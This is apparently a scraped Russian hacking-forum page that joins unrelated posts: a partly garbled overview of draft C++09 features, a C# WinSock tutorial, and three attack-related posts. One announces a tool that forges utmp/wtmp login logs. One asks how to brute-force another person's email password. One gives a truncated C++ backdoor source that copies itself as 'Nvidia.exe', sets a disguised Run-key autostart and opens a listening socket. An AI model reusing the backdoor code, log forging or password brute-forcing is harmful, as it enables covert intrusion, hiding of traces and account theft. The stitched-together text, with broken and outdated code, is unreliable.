void f1(MyFloat) { } // ill-formed - redefinitionШаблонные алиасы нельзя специализировать, но, можно специализировать тип синонимом которого является алиас.
Variadic templates
Это нововведение избавляет программиста, реализующего библиотеку списков типов или библиотеку, подобную boost::bind от реализации всех возможных вариаций типа
template < class R >
unspecified bind(...);template < class R, class A1 >
unspecified bind(...);template < class R, class A1, class A2 >
unspecified bind(...);// ...
template < class R, class A1, class A2, ..., class AN >
unspecified bind(...);И позволяет сделать шаблон, принимающий переменное количество шаблонных параметров:
template < class R, class... Args> // здесь троеточие - это синтаксический элемент
R f(Args... args)
{
return g(args...); // вызываем g, передавая ей все аргументы.
}Как к типам(Args), так и к экземплярам этих типов(args) можно применять разные операторы.
template < class R, class... Args >
R fwd_by_pointer(Args &... args) // <=> R fwd_by_pointer(Arg1 & arg1, Arg2 & arg2, ..., ArgN & argN)
{
return g(&args...); // <=> return g(&arg1, &arg2, ..., &argN);
}Количество типов в наборе можно узнать с помощью нового оператора sizeof...:
template < class... Types >
struct S
{
enum { result = sizeof...(Types) };
};Языковых средств для вытягивания типов из набора(Args) нету, но, это не очень сложно делается руками(и уже сделано в стандартной библиотеке - std:uple и иже с ним). Языковых средств для вытягивания значения из набора(args) вроде как нету, но, опять же, руками это делается несложно - std:uple тому пример.
В документах встречалось упоминание, что значение можно вытянуть как из массива(args[3], к примеру), но в грамматике я такого упоминания не нашел.Concepts
Ну это вообще просто сказка
Пару слов про сами концепции. Любой, кто использовал обобщённые алгоритмы/структуры данных сталкивался с разного рода требованиями к обобщаемому типу. Наиболее распространенные: DefaultConstructible, CopyConstructible, LessThanComparable. Также, концепциями являются InputIterator, OutputIterator, ForwardIterator, etc. Короче говоря, это требования к обобщаемому типу, невыполнение которых может привести к ошибке инстанцирования шаблона. На данный момент такие требования повсеместно встречаются в документации(IS, boost docs, etc). Теперь эти требования можно будет выражать в коде.Какие проблемы решат концепции?
Ну, во-первых, это, конечно то, что теперь, тип будет сначала проверятся на соответствие концепции и только после удачного завершения этой проверки, произойдёт попытка инстанцирования шаблона. Т.о. если тип не LessThanComparable, то при попытке использовать его в контейнере map(к примеру) не придётся втыкать на километры выданных компилятором ошибок. Ошибка будет выглядеть примерно так: "тип T не является LessThanComparable", что, замечу, большой плюс. Все, кто использовал boost::bind/lambda::bind оценятВо-вторых, для компилируемого на данный момент клиентского кода, увеличится устойчивость к будущим изменениям в коде библиотеки(гарантии на завтрашний день) - если требование раньше было всего лишь словами и только в следующей версии библиотеки эти слова воплотили в жизнь, то без концепций, некоторый клиентский код может перестать работать, чего не скажешь о коде защищенном концепциями - даже если шаблон мог бы быть инстанцирован, но тип не прошёл проверок на соответствие концепциям, то будет выдана ошибка.
В-третьих, писать обобщённый код станет проще. С концепциями можно делать что только душе угодно. К примеру, если тип vector не соответствует концепции Stack(у него нету ф-ций push/pop), но, принципиально его можно использовать как тип соответствующий этой концепции(можно использовать ф-ции push_back/pop_back), то, без потери для общности, можно написать что-то вроде адаптера(concept_map), который будет приспосабливать данный тип к заданной концепции. Концепциями можно защитить не весь класс, а только некоторые его методы. Также, можно разработать несколько версий алгоритма эффективных для той или иной концепции и перегрузить его так, что будет выбран наиболее подходящий алгоритм.
Синтаксис концепций интуитивно понятен и поясню я только некоторые моменты.
// вот так определяются концепции
auto concept LessThanComparable< typename T >
{
bool operator<(T, T);
};template< LessThanComparable T > // вот так предъявляются требования к типу T
const T& min(const T& x, const T& y)
{
return x < y ? x : y;
}template < typename T >
where LessThanComparable< T > // или можно предъявить требования так
const T& min(const T& x, const T& y)
{
return x < y? x : y;
}// пример более объёмной концепции
auto concept Regular < typename T >
{T:(); // default constructor
T:(const T&); // copy constructor
T::~T(); // destructor
T& operator=(T&, const T&); // copy assignment
bool operator==(T, T); // equality comparison
bool operator!=(T, T); // inequality comparison
void swap(T&, T&); // swap
};// ещё пример
auto concept Convertible <typename T, typename U>
{
operator U(T);
};template < typename U, typename T >
where Convertible< T, U > // концепции можно использовать для задания некоторых взаимоотношений между несколькими типами
U convert(const T& t)
{
return t;
}// итератор
auto concept InputIterator < typename Iter >
{
typename value_type; // ассоциированные типы
typename reference;
typename pointer;
typename difference_type;
where Regular; // вложенные требования
where Convertible<reference_type, value_type>;
reference operator*(Iter); // dereference
Iter& operator++(Iter&); // pre-increment
Iter operator++(Iter&, int); // post-increment
// ...
};template
where RegularIter::value_type
Iter find(Iter first, Iter last, const Iter::value_type& value)
{
while (first != last && *first != value)
++first;
return first;
}auto concept BinaryFunction<typename F, typename T1, typename T2>
{
typename result_type;
result_type operator()(F&, T1, T2);
};auto concept BinaryPredicate<typename F, typename T1, typename T2>
: BinaryFunction<F, T1, T2> // пример "наследования" концепций
{
where Convertible<result_type, bool>;
};// уточнение для char * у которого нету ассоциированных с ним типов
// аналог traits, только намного более мощный(см. далее)
concept_map InputIterator<char*>
{
typedef char value_type ;
typedef char& reference ;
typedef char* pointer ;
typedef std:: ptrdiff_t difference_type ;
};concept Stack
{
typename value_type;
void push(X&, value type);
void pop(X&);
value type top(const X&);
bool empty(const X&);
};// пример адаптации вектора к концепции Stack
template
concept_map Stack< std::vector>
{
typedef T value_type;
void push(std:: vector& v, T x) { v. push_back(x); }
void pop(std:: vector& v) { v. pop_back(); }
T top(const std:: vector& v) { return v.back(); }
bool empty(const std::vector& v) { return v.empty(); }
};// концепция, которой удовлетворяет вектор(и не только)
concept BackInsertionSequence
{
typename value_type = X::value type;
void X::push_back(value type);
void X::pop_back();
value_type& X::back();
const value_type& X::back() const;
bool X::empty() const;
};// пример, как можно адаптировать любой тип, удовлетворяющий концепции C1, к концепции C2.
// другими словами, как адаптировать одну концепцию к другой
template
concept_map Stack
{
typedef X::value_type value_type;
void push(X& x, value_type value ) { x. push_back(value); }
void pop(X& x) { x. pop_back(); }
T top(const X& x) { return x.back(); }
bool empty(const X& x) { return x.empty(); }
};// пример перегрузки на основе концепций - будет выбрана самая "специфичная" форма
//т.е. для BidirectionalIterator будет выбран второй вариант, несмотря на то, что удовлетворяет и первый(InputIterator)
template
void advance(Iter& x, Iter::difference type n)
{
while (n > 0) { ++x; --n; }
}
template
void advance(Iter& x, Iter::difference type n)
{
if (n > 0) while (n > 0) { ++x; --n; }
else while (n < 0) { --x; ++n; }
}
template
void advance(Iter& x, Iter::difference type n)
{
x += n;
}// пример разных реализаций контейнера для разных хранимых типов данных
template
class dictionary
{
// slow, linked-list implementation
};
template
where !Hashable
class dictionary
{
// balanced binary tree implementation
};
template
class dictionary
{
// hash table implementation
};// пример, как можно обложить ограничениями не весь класс, а только некоторые ф-ции(причём разными ограничениями)
template<typename T, typename U>
struct pair
{
where DefaultConstructible&& DefaultConstructible
pair() : first(), second() { }where CopyConstructible
&& CopyConstructible
pair(const T& t, const U& u) : first(t), second(u) { }where Destructible
&& Destructible
~pair() { }where Assignable
&& Assignable
pair& operator=(const pair<T, U>& other)
{
first = other.first;
second = other.second;
}T first;
U second;
};// ещё пример, как помимо CopyConstructible, может понадобится DefaultConstructible
// но вектор может ф-ционировать и без второго требования потому его(требование) относят только к отдельной ф-ции.
template
class vector
{
public:
// обратите внимание, как одна ф-ция разделилась на две, дабы добавить контейнеру общности// vector(size t n, const T& value = T());
vector(size t n, const T& value);
where DefaultConstructible
vector(size t n);
};Ключевое слово where в последней версии вроде как решили заменить на слово requires.
Unicode characters/strings
Ну, собственно, ничего интересного, кроме самого факта: теперь в С++ оффициальная поддержка UTF-16(u"...") и UTF-32(U"..."). Ну а факт, я считаю, немаловажный и вполне достойный соответствующего внимания со стороны публики
Появились новые типы char16_t и char32_t.
Также, отдельно рассматривается добавление UTF-8(E"...").Initializer lists
X t1 = v; // "copy initialization" possibly copy construction
X t2(v); // direct initialization
X t3 = { v }; // initialize using initializer list <<<=================
X t4 = X(v); // make an X from v and copy it to t4Достаточно обширное нововведение. Пока всех подробностей не выяснил, но, в двух словах постараюсь рассказать.
В языках типа C# практикуется такое:
f(new char[] {'1', 'a', '-'});В С++09 предполагается нечто подобное(только без new ).
Теперь можно будет написать
std::vector< int > v = { 1, 2, 3, 4, 5 };Как написать класс, чтобы его можно было вот так инициализировать?
#include <initializer_list> // этот хэдер предоставляет класс std::initializer_listnamespace std
{
templateclass initializer_list
{
// representation implementation defined
// (probably two pointers or a pointer and a size)
// implementation defined constructorpublic:
// default copy construction and copy assignment
// no default constructor
// default trivial destructorconstexpr int size() const; // number of elements
const T* begin() const; // first element
const T* end() const; // one-past-the-last element
};
}class A
{
public:
A(std::initializer_list< char > a) { /* ... */ }
// ...
};class B
{
public:
B(std::initializer_list< double > a) { /* ... */ }
// ...
};void f(const A &a); // #1
void f(const B &b); // #2int main
{A a1 = {1, 2, 3};
A a2{2, 3, 4};
A a3;
a3 = A{3, 4, 5};f({1, 2., 3}); // ambiguity
f(A{1, 2., 3}); // #1
f(B{1, 2., 3}); // #2
f({1., 2., 3.}); // #2
f{'a', 'b', 'c'}; // #1return 0;
}Синтаксические мелочи
static_assert
Новое ключевое слово, позволяет во время компиляции сделать проверку и, в случае чего, сгенерить ошибку компиляции(текст ошибки можно указывать).
Наибольшее применение, имхо, будет иметь в шаблонах, хотя, с появлением концепций - сомнительно .
Так же, возможно использование как замена старой доброй директивы #error.
template
struct Check
{
static_assert(sizeof(int) <= sizeof(T), "not big enough");
};Расширенная функциональность sizeof
struct C
{
some_type m;
// ...
};const std::size_t sz = sizeof(C::m); // C++03 - error, C++09 - ok
Delegating Constructors
// C++03 workaround
class A
{
void Init(/* ... /) { / ... / }
public:
A()
{ Init(); };
A(/ ... /)
{ Init(); / ... */ }
};// C++09 well-formed code
class A
{
public:
A()
{ /* initializations / };
A(/ ... /)
: A() // <<==== delegating construction
{ / other initializations */ }
};Inheriting Constructors
struct B1 {
B1( int, int ) {}
};struct B2 {
B2( double, double ) {}
};struct D1 : B1 {
using B1::B1; // impliclty declare D1( int a1, int a2 ) : B1(a1, a2) {}
int x;
};struct D2 : B2 {
using B2::B2; // impliclty declare D2( double a1, double a2 ) : B2(a1, a2) {}
B1 b;
};Deducing the type of variable from its initializer expression.
Достаточно интересная штука... настолько же, насколько и опасная, имхо...
int foo();
auto x1 = foo(); // x1 : int
const auto& x2 = foo(); // x2 : const int&
auto& x3 = foo(); // x3 : int&: error, cannot bind a reference to a temporary
float& bar();
auto y1 = bar(); // y1 : float
const auto& y2 = bar(); // y2 : const float&
auto& y3 = bar(); // y3 : float&
A* fii();
auto* z1 = fii(); // z1 : A*
auto z2 = fii(); // z2 : A*
auto* z3 = bar(); // error, bar does not return a pointer type// из очень полезных применений вижу следующее
// особенно полезно при замене контейнера(-ов) на концептуально аналогичные, но по типизации разные
std::map< std::string, std::map< std::string, std::set< std::vector< bool >container;
for (auto i1 = container.begin(), e1 = container.end(); i1 != e1; ++i1)
for (auto i2 = i1->second.begin(), e2 = i1->second.end(); i2 != e2; ++i2)
for (auto i3 = i2->second.begin(), e3 = i2->second.end(); i3 != e3; ++i3)
for(auto i4 = i3->begin(), e4 = i3->end(); i4 != e4; ++i4)
{
/* ... */
}// ещё, появилась штука, ожидаемая под названием typeof.
// в C++09 её назвали decltype
decltype(container.begin()) i = container.begin();Extended friend Declarations
class C;
typedef C Ct;class X1
{
friend C; // OK: class C is a friend
};
class X2
{
friend Ct; // OK: class C is a friend
};
class X3
{
friend class Ct; // C++09 - ok, C++03 - ill-formed
};Extern templates
template < class T >
class MyVector { /* ... */ };template class MyVector< int >; // explicit instantination
extern tempalte class MyVector< int >; // extern explicit instantination
сделано для того, чтобы диначическая библиотека могла сделать у себя explicit instantination, а клиент у себя extern explicit instantintaion
Right Angle Brackets
std::vector<std::set> v; // C++03 - ill-formed, C++09 - well-formed Range-based for-loop
int array[5] = { 1,2,3,4,5 };
std::vector< int > vec = { 1, 2, 3, 4, 5 }; // так инициализировать нельзя, но мы это опустим
for ( auto& x : array )
x *= 2;for ( float x : vec )
std::cout << x << std::endl;C99 Compatibility: func
namespace N { void f(); }
void N::f() { } // func is "f"struct S
{
S() : s(func) { } // ok, s points to "S"
~S() { } // func is "~S"
operator int() { } // func is "conversion operator"
templateint g();
const char *s;
};
S operator +(S,S) { } // func is "operator+"
template<> int S::g() { } // func is "g" struct S
{
S() : s(func) { } // ok
const char *s;
};
void f(const char * s = func); // error: func is undeclaredGeneralized Constant Expressions
constexpr - новое ключевое слово.
Суть нововведения в том, что теперь, например, можно как размерность массива использовать результат, возвращенный ф-цией.
struct A
{
constexpr A(int i) : val(i) { }
constexpr operator int() { return val; }
constexpr operator long() { return 43; }
private:
int val;
};template
struct X { };
constexpr A a = 42;
X x; // OK: unique conversion to int
int ary[a]; // error: ambiguous conversionExplicit Conversion Operators
class T { };
class X
{
public:
explicit operator T() const;
};int main()
{
X x;// Direct initialization:
T t4( x );// Copy initialization:
T t8 = x; // error// Cast notation:
T t12 = (T) x;// Static_cast:
T t16 = static_cast( x ); // Function-style cast:
T t20 = T( x );
return 0;
}Raw String Literals
char s1 = "('(?:[^\\\']|\\\\.)'|"(?:[^\\\\"]|\\\\.)")|";
char s2 = R"[('(?:[^\']|\\.)'|"(?:[^\"]|\\.)")|]" // кто работал с regex на с++ - оценят
// post: strcmp(s1, s2) == 0char *s3 =
\n"
"\n"
"
"Auto-generated html formated source \n"
"<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1252">\n"
"\n"
"<BODY LINK="#0000ff" VLINK="#800080" BGCOLOR="#ffffff">\n"
"\n"
"\n";char *s4 =
R"[\Auto-generated html formated source
]"// post: strcmp(s3, s4) == 0
A name for the null pointer: nullptr
char* ch = nullptr; // ch has the null pointer value
char* ch2 = 0; // ch2 has the null pointer value
int n = nullptr; // error
int n2 = 0; // n2 is zero
if( ch == 0 ); // evaluates to true
if( ch == nullptr ); // evaluates to true
if( ch ); // evaluates to false
if( n2 == 0 ); // evaluates to true
if( n2 == nullptr ); // error
if( nullptr ); // error, no conversion to bool
if( nullptr == 0 ); // error// arithmetic
nullptr = 0; // error, nullptr is not an lvalue
nullptr + 2; // errorAlignment Support
// новые ключевые слова: alignas, alignof
const std::size_t align_of_int = alignof(int);
T alignas(T) alignas(long) t1;
T alignas(T) alignas(align_of_int) t2;Prohibited access specifier
template< typename T >
struct owned_ptr
{
public:
explicit owned_ptr( T * p ) : pt( p ) {}
~owned_ptr() { delete pt; }T * operator->() { return pt; }
T const * operator->() const { return pt; }private:
T * pt;
void foo();prohibited:
owned_ptr( owned_ptr const & );
owned_ptr & operator=( owned_ptr const & );
};
template< typename T >
void S< T >::foo()
{
new owned_ptr(*this); // compile-time error(не link-time)
}Explicit class and default definitions
class A
explicit
{
// no implicitly declared/defined special member functions(default ctor, copy ctor, copy assignment operator, destructor)
};class B
explicit
{
public:
B() {default} // default ctor definition(compiler generated)
};class I
explicit
{
public:
virtual ~I() {default}
};Defaulted and Deleted Functions
struct type
{
type() = default; // trivial
virtual ~type() = default; // non-trivial because virtual
type & operator =( const type & ); // declaration and....
};
inline // the inline definition keeps it trivial
type & type::operator =( const type & ) = default;// --------------------------------------------------------------
struct type
{
type( const type & ); // declaration and....
};type:ype() = default; // the non-inline makes it non-trivial
// --------------------------------------------------------------
struct type
{
type & operator =( const type & ) = delete;
type( const type & ) = delete;
type() = default;
};
// --------------------------------------------------------------
struct type
{
void * operator new( std::size_t ) = delete;
};
// --------------------------------------------------------------
struct type
{
~type() = delete; // disable destructor
};
// --------------------------------------------------------------
struct type
{
type( long long ); // can initialize with an long long
type( long ) = delete; // but not anything less
};
extern void bar( type, long long ); // and the same for bad overloads
void bar( type, long ) = delete; // of free functions
// --------------------------------------------------------------
struct type
{
type( long long );
explicit type( long ) = delete;
};
extern void function( type );
function( type( 42 ) ); // error 42 promotes to long
function( 42 ); // okay type(long long); type(long) not consideredPure implementation method declaration
struct Base
{
virtual void f1() = 0;
virtual void f2() = 0;
};struct S
: public Base
{
virtual void f1() > 0; // должно быть определение S::f1, иначе compile-time error
virtual void f2() >= 0; // определение S::f2 может быть, а может и не быть
virtual void f3() > 0; // compile-time error - нету объявления Base::f3.
virtual void f4() >= 0; // compile-time error - нету объявления Base::f3.
};Strongly Typed Enums
enum class E { E1, E2, E3 = 100, E4 /* = 101 / };
void f( E e )
{
if( e >= 100 ) ; // error: no E to int conversion
}
int i = E::E2; // error: no E to int conversion
// ------------------------------------------------------
enum class E { E1, E2, E3 = 100, E4 / = 101 */ };
E e1 = E1; // error
E e2 = E::E2; // ok
// ------------------------------------------------------
enum class E : unsigned long { E1 = 1, E2 = 2, Ebig = 0xFFFFFFF0U };
unsigned long ul = E::Ebig;Формальные мелочи
Conditionally-Supported Behavior
Добавлен новый вид определяемого стандартом поведения.
Теперь, конструкции для которых поведение было неопределено(UB), считаются conditionally-supported и могут интерпретировать либо как implementation- defined, либо как ill-formed.Замена некоторых UB на Diagnosable Errors
К примеру, теперь передача non-POD в элипсис приведёт к ошибке компиляции, а не к UB как в C++03.Новая модель выполнения программы
В связи с добавлением оффициальной поддержки multithreading.
Убрали понятие sequence point.
Добавили понятие evaluation - набор выборок(чтение значения переменной) и side effects, которые происходят в ходе вычисления выражения.
Понятие sequence point заменили аж тремя понятиями sequencing constraints: sequenced before, unsequenced, indeterminately sequenced. Эти понятия - отношения между двумя evaluations A и B(A sequenced before B, A and B unsequenced, etc).
Теперь порядок вычисления операндов не unspecified. Теперь evaluations of operands unsequenced
В связи с отсутствием понятия sequence point вычисление операндов операторов "a && b", "a || b", "a ? b : c" и "a, b" примерно следующее: evaluation of a is sequenced before evaluation of b.Облегчение ограничений на POD'ы
Ввели два новых понятия: trivial-class и standard-layout-class. POD - это класс, который является одновременно и trivial и standard-layout.
Теперь все гарантии, которые давал POD можно разделить на 2 части: первые даются для trivial типов, вторые для standard-layout.
В общем теперь большее кол-во типов будет поддаваться копированию посредством memcpy и т.п.Перегрузка операторов
Рассматривается возможность перегрузки операторов
.
.*
static_cast<>
const_cast<>
dynamic_cast<>Стандартная библиотека
Дополнение к этому пункту и/или более подробные описания фич можно увидеть здесь:
Новый стандарт C++. C++09 (сообщение #1601275)cstdint из C99
Добавленна опциональная поддержка типов с размером точно соответствующим указанному.
int8_t, int16_t, int32_t, int64_t
uint8_t, uint16_t, uint32_t, uint64_tОбязательная поддержка для типов с размером не меньшим указанного.
int_least8_t, int_least16_t, etc.
uint_least8_t, etc.И обязательная поддержка типов с размером точно соответствующим указанному, но, возможно, более быстрых, чем их least-эквиваленты.
int_fast8_t, etc.
uint_fast8_t, etc.Контейнеры
Sequence container: std::array - см. ниже "Перешло из boost".
Unordered associative containers:
unordered_map, unordered_multimap,
unordered_set, unordered_multiset
Вполне ожидаемые контейнеры работающие по принципу хэширования, ранее известные под названием hash_set/map в "вольных" реализациях STLport, MS VC-8.0.В связи с введением rvalue-reference и move semantics
Во-первых, повсеместное добавление/переведение вышеобозначенной семантики для повышения производительности(там, где это возможно).
Добавлены ф-ции помошники move и forward, означающие не что иное, как прямое предназначение rvalue-ссылок. Первая вынуждает использовать семантику перемещения даже если операнд - lvalue(-reference). Вторая осуществляет необходимые телодвижения для достижения perfect forwardingДобавлен move_iterator< class Iter >, который работает точно также, как Iter, за исключением того, что его dereferencing оператор принуждает использовать семантику перемещения.
В связи с введением constexpr
Много где встречаются эти константные ф-ции(результат которых можно использовать даже для определения статического массива).
К примеру numeric_limits. Теперь его ф-ции min/max отвечают соответствующим требованиям.Перешло из boost
std:uple
Тож самое, что и boost:uple, за одним отличием - переведён на синтаксис variadic templates.std::bind
Тож самое, что и boost::bind, за одним отличием - переведён на синтаксис variadic templates.std::array(sequence container)
Тож самое, что и boost::array. Вроде где-то упоминалось, что собираются сделать его N-мерным(в отличие от 1-мерного boost::array).std::regex
См. boost::regexМногопоточность
Ничего не могу сказать более определённого, чем то, что в новом С++ будет поддержка многопоточности и будет предоставленно API, совместимое с posix pthreads. Также, возможность выполнения атомарных операций(необходимо для синхронизации - реализации спин-локов)Click to expand...
Пипл, плииз хелп ми! Можете кинуть линк на статейку про "Логические операции". Всё понимаю в С++ кроме этих логических операцей :blink:
для себя написал простую утилиту которая подделывает данные логи(utmp,wtmp).
(о сушествовании vanish знаю
)
компилим
Code:Copy to clipboard
gcc clean.c -o clr
запускаем
Code:Copy to clipboard
./clr username userconsole
username-имя пользователя которое надо найти в логах и исправить
userconsole-tty которое надо найти в логах и исправить.
по дефолту вшиты значения
Code:Copy to clipboard
#define NewName "hacker" /*new name of user*/
#define NewTty "newtty" /*new name of console*/
к примеру до этого было
Code:Copy to clipboard
savior tty7 2008-01-24 2:08 (:0)
стало:
Code:Copy to clipboard
hacker newtty 2008-01-24 2:08 (:0)
скачать ТЫК
Хотел на Ачате выложить , а он седня с*** не пашет , ну для поддержания проэкта >
WinSockets _C# или велосипед голыми руками
[интро]
Собственно в этой статье нет ничего нового , особенного ...
Я даже не могу толком сказать , для кого эта статья ориентирована ... в первую
очередь для новичков в C# ...
Предворительно , читатель уже разбирается в win сокетах , например знает C++ ,
в C# недавно...
Вот , представим читающий знает C++ и изучая C# хочет работать с советыми
максимально 'близко'...
Но думаю начинающему изучать c# будет полезно ...
[абоут]
В статье мы будем использовать Winsock , не подключая System.net.sockets , а
напрямую из ws2_32.dll и wsock32.dll , импортируя необходимые нам функции ...
Я опишу , возможные ошибки и трудности с типами пременных, которые могут
возникнуть...
[go]
ну ладно , теперь уже приступим :
Как я уже говорил , мы будем импортировать функции из библиотек...
пожалуй приступим:
(инклудим dll-импорт)
using System.Runtime.InteropServices;
Для начала нам понадобится WSAStartup ...
Подключив System.Net.Sockets мы вообще можем не думать о инициализации ...
имея заголоваочный файл winsock2.h , в C++ эта функция задается вот так:
WSADATA wdata;
WSAStartup(MAKEWORD(2,2), &wdata);
Здесь нам прилется самим обьявить и заполнить struct wsadata:
MSDN даёт нам вод такой пример :
Code:Copy to clipboard
typedef struct WSAData {
WORD wVersion;
WORD wHighVersion;
char szDescription[WSADESCRIPTION_LEN+1];
char szSystemStatus[WSASYS_STATUS_LEN+1];
unsigned short iMaxSockets;
unsigned short iMaxUdpDg;
char FAR* lpVendorInfo;
} WSADATA,
*LPWSADATA;
Переведя 'наскоком' на C# мы получим вот такой код :
Code:Copy to clipboard
public struct WSA_Data{
public int wVersion;
public int wHighVersion;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 0x101)]
public string szDescription;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 0x81)]
public string szSystemStatus;
public int iMaxSockets;
public int iMaxUdpDg;
public long lpVendorInfo;
}
Но этот код будет несовсем точным т к C# очен требователен в отношении типов
данных
(см про явные и неявные преобразования в C#)
В итоге , уточнив типы данных, приходим вот такому , наиболее точному коду :
Code:Copy to clipboard
[StructLayout(LayoutKind.Sequential)]
public class WSA_Data
{
public Int16 wVersion;
public Int16 wHighVersion;
public String szDescription;
public String szSystemStatus;
public Int16 iMaxSockets;
public Int16 iMaxUdpDg;
public IntPtr lpVendorInfo;
}
Собственно вот они элементарные трудности перевода ...
Теперь , имея свой WSA_Data импортируем саму функуцию:
Code:Copy to clipboard
[DllImport("ws2_32.dll")]
static extern Int32 WSAStartup(Int16 wVR, WSA_Data lpWSAD);
при этом обьявим константу для версии сокета...
public const short WORD_VERSION = 36;
Функцию мы подготовили ...
Используем вот так:
Code:Copy to clipboard
WSA_Data wsaData = new WSA_Data();
if (WSAStartup(WORD_VERSION, wsaData) != 0)
{
MessageBox.Show("WSAStartup error");
}
Соответственно нам понадобится узнавать ошибки:
WSAGetLastError обьявдяется так же как и в C++ ...
Code:Copy to clipboard
[DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern Int32 WSAGetLastError();
Новичкам следует заметить , что для вывода результата , например в MessageBox ,нужно преобразовать его в строку (прим. в текст)...
Code:Copy to clipboard
if (WSAStartup(WORD_VERSION, wsaData) != 0)
{
MessageBox.Show(WSAGetLastError().ToString());
}
Далее перейдем к функции socket();
msdn описание:
SOCKET WSAAPI socket(
__in int af,
__in int type,
__in int protocol
);
В случае успеха функция возвращает дискриптор нового сокета ... в С++ тип int
почти универсален для функций ,в C# для дескриптора мы будем использовать
специальный тип IntPtr.
IntPtr – это platform-specific тип, который используется для представления
указателей или дескрипторов...
Code:Copy to clipboard
[DllImport("wsock32.dll")]
static extern IntPtr socket(long af, long s_type, long protocol);
константы:
Code:Copy to clipboard
public const int AF_INET = 2;
public const int SOCK_STREAM = 1;
public const int PPROTO_TCP =6
public const int PPROTO_UDP = 17
Конструкция:
Code:Copy to clipboard
IntPtr s = socket(AF_INET, SOCK_STREAM, PPROTO_TCP);
if (s.ToInt32() != 0)
{
MessageBox.Show("Socket Error:" + WSAGetLastError().ToString());
}
Теперь переидем к функции bind. Функция bind ассациирет (привязывает) сокет к локальному адресу.
Обьявим структуру sockaddr
Code:Copy to clipboard
public struct sockaddr
{
public short sin_family;
public short sin_port;
public int sin_addr;
public long sin_zero;
}
Code:Copy to clipboard
[DllImport("wsock32.dll")]
public static extern int bind(IntPtr socket, ref sockaddr addr, int namelen);
Новичкам следует обратить внимание на модификатр ref . Этот модификатор одновременно является и in и out модификатором. Дело в том, что при использовании параметра с модификатором ref объект передается в метод по ссылке. В результате метод получает возможность изменить этот объект. Очень часть таким способом передаются массивы." (blog.excode.ru)
для заполнения структуры нам понадобятся еще функции htons(преобразовывающая данные для их правильности при использовании WinSock) и inet_addr(для преобразования строки с IP-адресом в формате десятичное с точкой в 32-разрядное двоичное число (с сетевым порядком байтов)).
Code:Copy to clipboard
[DllImport("ws2_32.dll")]
static extern short htons(int hostshort);
[DllImport("wsock32.dll")]
static extern int inet_addr(string cp);
Теперь же создадим и заполним эту структуру , в итоге обьединим в небольшую функцию:
Code:Copy to clipboard
public static bool AdvBind(string ipAddress, int port,IntPtr socketHandle)
{
sockaddr remoteAddress; // Обьявляем
int resultCode = 0; //это будет код резудбтата
int errorCode = 0; //а это код (в сучае) ошибки
bool returnValue = false; // то - что будет возвращать функция
if (socketHandle != IntPtr.Zero) // проверяем валидность сокета
{
try
{
remoteAddress = new sockaddr();
remoteAddress.sin_family = AF_INET;
remoteAddress.sin_port = htons((short)port);
remoteAddress.sin_addr = inet_addr(ipAddress);
remoteAddress.sin_zero = 0;
if (remoteAddress.sin_addr != 0)
{
resultCode = bind(socketHandle,ref remoteAddress,Marshal.SizeOf(remoteAddress));
errorCode = WSAGetLastError();
returnValue = (resultCode == 0);
}
}
catch
{
returnValue = false;
}
}
return returnValue;
}
Теперь уже , более мение разобравшись наиболее трудными (для новичка) с типами и структурами данного примера мы уже без труда можем оперировать с основными функциями WinSock ...
<не буду повторяться продолжая писать уже однообразный код к каждой йункции ,
хотя при освоении языка мне этот процесс показался довольно интересным и
увлекательным>
Дальше вам поможет Msdn , Гугл и собственное стремление ...
[bonus]
небольшая подсказка:
Code:Copy to clipboard
[DllImport("wsock32.dll")]
static extern int connect(IntPtr socket,sockaddr addr, int addrlen);
[DllImport("wsock32.dll")]
static extern int recv(IntPtr socket, string buf, int len, int flag);
[DllImport("wsock32.dll")]
static extern long WSAAsyncSelect(IntPtr socket, long hwnd, long iMsg, long lEvent);
[DllImport("ws2_32.dll", CharSet=CharSet.Auto, SetLastError=true)]
static extern IntPtr accept(
IntPtr socketHandle,
ref sockaddr socketAddress,
ref int addressLength);
[DllImport("wsock32.dll")]
static extern int closesocket(IntPtr s);
[DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern Int32 WSACleanup();
[outro]
Я хотел описать все функции и впринципе можно было добавить их подробное
описание , но посмотрев , скока я написал вначале , я решил остановиться на
основных функциях...возможно , когда будет время и желание...
Еще можно задуматься об актуальности данной статьи . Помог изобрести велосипед
, можете сказать ... но это тоже полезно ...
[bonus]
Полезные ссылки по C#
http://www.intuit.ru/department/pl/csharp/
http://www.gotdotnet.ru/LearnDotNet/CSharp/default.aspx
В начале - скажу что я новичок.(это чтоб не пинали ногами))
Задача была получить пароль от мыла. Троян не подходил так как на компе
владельца были фаервол\антивирь а писать троян который бы их обходил - для
меня задача сложная.(учуся я).
Подумал что наверное имеет смысл написать брутфорс. Собственно написал. Но
есть одно но: время.
Я не имею представления о том как пишутся брутфорсы поэтому свой писал так:
1)используя CSocket коннектимся к серверу
2)шлём логин
3)шлёмм пасс
4)Обрабатываем ответ. Если он отрицательный - разрываем соединение, переходим
на пункт один.
Таким образом на взом 4 значного пароля из одних цифр уходит куча времени. И
это я молчу о 9 значных цифро-буквенных.
Так и должно быть? Более быстрого способа проверки нет? Какие есть мнения о
том как составлять словари?
Буду очень благодарен за любые ссылки по этой теме + за ссылки откуда можно
скачать уже написанные бруты.
ЗЫ нашёл тут на форуме видео как юзать гидру(видимо гидра это брутфорс, по крайней мере я так понял) щас пойду смотреть.
Такой вопрос по С++
Есть сорец:
Code:Copy to clipboard
#include <winsock2.h>
#include <resource.h>
#pragma comment(linker,"/MERGE:.rdata=.text")
#pragma comment(linker,"/FILEALIGN:512 /SECTION:.text,EWRX /IGNORE:4078")
#pragma comment(linker,"/ENTRY:WinMain")
int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){
char str[256],sysbuf[256];
GetModuleFileName(GetModuleHandle(NULL),str,256);
GetSystemDirectory(sysbuf,256);
strcat(sysbuf,"\\Nvidia.exe");//имя зверя
CopyFile(str,sysbuf,true);
HKEY hk;
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk);
RegSetValueEx(hk,"NvCpl",0,REG_SZ,(LPBYTE)sysbuf, strlen(sysbuf) + 1);
RegCloseKey(hk);
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2), &wsaData);
SOCKET listet_Sock = socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN addr_Sock;
